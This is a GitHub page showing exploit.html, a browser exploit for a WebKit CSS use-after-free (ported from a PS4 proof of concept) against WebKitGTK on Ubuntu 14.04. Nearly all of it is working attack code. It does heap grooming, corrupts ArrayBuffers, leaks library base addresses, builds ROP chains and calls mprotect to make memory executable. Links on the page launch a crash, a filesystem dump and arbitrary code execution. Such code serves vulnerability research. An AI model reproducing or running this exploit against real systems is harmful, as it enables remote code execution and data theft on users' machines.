-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathexploit.html
217 lines (199 loc) · 7.67 KB
/
exploit.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
<html>
<style>html, a1,a2,a3,a4,a5,a6 em:nth-child(5){
height: 500px
}
</style>
<script>
/*
* Author: Ren Kimura (@RKX1209)
* Tested to work on up to date Ubuntu 14.04.
* NOTE: Original PS4 exploit is here.
* https://github.com/Fire30/PS4-2014-1303-POC
*/
var shui = new Array(0x1000);
var inputs = new Array(0x500);
var arraybufferviews = new Array(0x500);
var corrupted = undefined;
var u32;
var cbuf;
var payload_addr_low = 0x100000, payload_addr_high = 0, payload_size = 0x1000;
var rop_chain = [];
var js_core_base_addr;
var webkitgtk_base_addr;
var webkitgtk_data_addr;
var libc_base_addr;
var bss_addr;
var js_core_base_addr_low, js_core_base_addr_high;
var webkitgtk_base_addr_low, webkitgtk_base_addr_high;
var webkitgtk_data_addr_low, webkitgtk_data_addr_high;
var libc_base_addr_low, libc_base_addr_high;
var bss_addr_low, bss_addr_high;
function load() {
// Align the memory how we want it
for(var i = 0; i < shui.length;i+=2)
{
inputs[i/2] = document.createElement("input");
inputs[i/2].type = "number";
shui[i] = new ArrayBuffer(0x40);
shui[i + 1] = new ArrayBuffer(0x20000);
}
// Trigger the vulnrablity.
var cssRules = window.getMatchedCSSRules(document.documentElement);
cssRules[0].selectorText = 'a1,a2';
// Free the input elements and put in our ArrayBufferView objects
for(var i = 0; i < inputs.length;i+=1)
{
inputs[i].type = "";
arraybufferviews[i] = new Uint32Array(shui[i/2]);
// Need a value to find in memory
arraybufferviews[i][0] = 0x77777777;
}
// Start the actual exploit
setTimeout(exploit_init, 0);
}
function exploit_init()
{
// Find the ArrayBuffer that has had it size modified
for (var i = 0; i < shui.length; ++i) {
if (shui[i].byteLength == 0xc0) {
corrupted = shui[i];
debug_log("Found corrupted index at 0x" + i.toString(16));
console.log("Found corrupted index at 0x" + i.toString(16));
break;
}
}
// If we find nothing, crash the application.
// Shouldn't happen based on how tcmalloc allocates memory
if(!corrupted)
{
debug_log("Couldn't find corrupted element...!")
console.log("Couldn't find corrupted element...!")
return;
}
u32 = new Uint32Array(corrupted);
// Need to find the ArrayBufferView that we have control over
u32[0x18] += 0x10;
for(var i = 0; i < arraybufferviews.length;i++)
{
tmp_array = arraybufferviews[i].subarray(0,arraybufferviews[i].length);
if(tmp_array[0] != 0x77777777 && arraybufferviews[i].length > 0x40)
{
cbuf = arraybufferviews[i];
u32[0x18] -= 0x10;
debug_log("Found controlled arraybufferview!")
console.log("Found controlled arraybufferview!")
break;
}
}
// Need to keep track of where the buffer is
oldlow = u32[0x14]
oldhigh = u32[0x15]
// Various calculations to get the base addresses of libraries that we use gadgets for
// Javascript is stupid and doesn't support 64bit integers so we need to use 3rd party lib
var vtable_addr = new dcodeIO.Long(u32[0x10], u32[0x11], true)
js_core_base_addr = vtable_addr.sub(0x3d4ff90); //libjavascriptcoregtk.so
webkitgtk_base_addr = js_core_base_addr.add(0x22ee000); //libwebkitgtk.so
webkitgtk_data_addr = js_core_base_addr.add(0x3e82000); //libwebkitgtk.so [data]
libc_base_addr = js_core_base_addr.add(0x766000); //libc-2.19.so
bss_addr = new dcodeIO.Long(0x607450, 0, true); // readelf -S ./Programs/GtkLauncher
js_core_base_addr_low = js_core_base_addr.getLowBitsUnsigned()
js_core_base_addr_high = js_core_base_addr.getHighBitsUnsigned()
webkitgtk_base_addr_low = webkitgtk_base_addr.getLowBitsUnsigned()
webkitgtk_base_addr_high = webkitgtk_base_addr.getHighBitsUnsigned()
libc_base_addr_low = libc_base_addr.getLowBitsUnsigned()
libc_base_addr_high = libc_base_addr.getHighBitsUnsigned()
webkitgtk_data_addr_low = webkitgtk_data_addr.getLowBitsUnsigned()
webkitgtk_data_addr_high = webkitgtk_data_addr.getHighBitsUnsigned()
bss_addr_low = bss_addr.getLowBitsUnsigned()
bss_addr_high = bss_addr.getHighBitsUnsigned()
debug_log("vtable address = 0x" + vtable_addr.toString(16))
debug_log("libjavascriptcore base address = 0x" + js_core_base_addr.toString(16))
debug_log("webkitgtk base address = 0x" + webkitgtk_base_addr.toString(16))
debug_log("webkitgtk data address = 0x" + webkitgtk_data_addr.toString(16))
debug_log("libc base address = 0x" + libc_base_addr.toString(16))
// vtable pointer to byteLength
// The instruction pushes rax, and jmps to *rax
// gadget: push rax; jmp qword [rax]
cbuf[2] = webkitgtk_base_addr_low + 0x497a
cbuf[3] = webkitgtk_base_addr_high
// *rax is the first element in our array.
// pop rsp then jmps to *(rax + 0x30)
// gadget: pop rsp ; mov rax, qword [rax+0x30] ; jmp rax
cbuf[0] = webkitgtk_base_addr_low + 0xa2cd52
cbuf[1] = webkitgtk_base_addr_high
// adds 0x48 to rsp
// so stack pointer will point to cbuf[0x12]
cbuf[0xc] = webkitgtk_base_addr_low + 0x40aefc
cbuf[0xd] = webkitgtk_base_addr_high
// rbp is invalid address. So, firstly changed it to valid address.
// pop rbp ; ret
rop_chain.push (webkitgtk_base_addr_low + 0x1f0709)
rop_chain.push (webkitgtk_base_addr_high)
rop_chain.push (webkitgtk_data_addr_low + 0x1000)
rop_chain.push (webkitgtk_base_addr_high)
debug_log("Initilization completed.")
}
function crash_rop()
{
debug_log("Overwriting vtable and executing Crash ROP chain!")
// Make the u32 ArrayBufferView::vtable point to our buffer(pointed by u32.m_baseAddress)
// i.e. u32.vtable = u32.m_baseAddress (jump to buf)
u32[0x10] = u32[0x14];
u32[0x11] = u32[0x15];
// Write the rop chain to the buffer
rop_chain.push(0xdeadbeef)
rop_chain.push(0xdeadbeef)
inject_ropcode(rop_chain)
// Starts execution of our rop chain (call vtable)
cbuf.byteLength; // call *0x8(%rax) => firstly jump to cbuf[2]
}
function chg_perm_memory()
{
debug_log("Changing memory permission to rwx...")
var nr_mprotect = 10;
//Change webkitgtk data area (rwx)
syscall("mprotect", nr_mprotect, new dcodeIO.Long(webkitgtk_data_addr_low & ~0xFFF, webkitgtk_data_addr_high, true),
new dcodeIO.Long(0x10, 0, true),
new dcodeIO.Long(1 | 2 | 4, 0, true));
//Change bss area (rwx)
syscall("mprotect", nr_mprotect, new dcodeIO.Long(bss_addr_low & ~0xFFF, bss_addr_high, true),
new dcodeIO.Long(0x10, 0, true),
new dcodeIO.Long(1 | 2 | 4, 0, true));
}
function code_exec()
{
debug_log("Execute code!");
u32[0x10] = u32[0x14];
u32[0x11] = u32[0x15];
chg_perm_memory()
// pop rax ; ret
rop_chain.push(webkitgtk_base_addr_low + 0x72a20)
rop_chain.push(webkitgtk_base_addr_high)
rop_chain.push(webkitgtk_data_addr_low);
rop_chain.push(webkitgtk_data_addr_high);
// rax == webkitgtk data
// jump to webkitgtk data address (rwx)
// jmp rax ;
rop_chain.push(webkitgtk_base_addr_low + 0x217181)
rop_chain.push(webkitgtk_base_addr_high)
// now, payload is loaded at bss address
// jump to bss address (rwx)
rop_chain.push(bss_addr_low & ~0xFFF);
rop_chain.push(bss_addr_high);
inject_ropcode (rop_chain)
write_loader(webkitgtk_data_addr_low, webkitgtk_base_addr_high);
cbuf.byteLength; // call *0x8(%rax) => firstly jump to cbuf[2]
}
</script>
<script src="/scripts/jquery.min.js"></script>
<script src="/scripts/long.js"></script>
<script src="/scripts/utils.js"></script>
<script src="/scripts/roputil.js"></script>
<script src="/scripts/syscall.js"></script>
<script src="/scripts/code.js"></script>
<a href="javascript:crash_rop()">Crash ROP</a>
<a href="javascript:get_pid()">Get PID</a>
<a href="javascript:fs_dump()">FileSystem dump</a>
<a href="javascript:code_exec()">Code Execution</a>
<iframe onload=load()>
</html>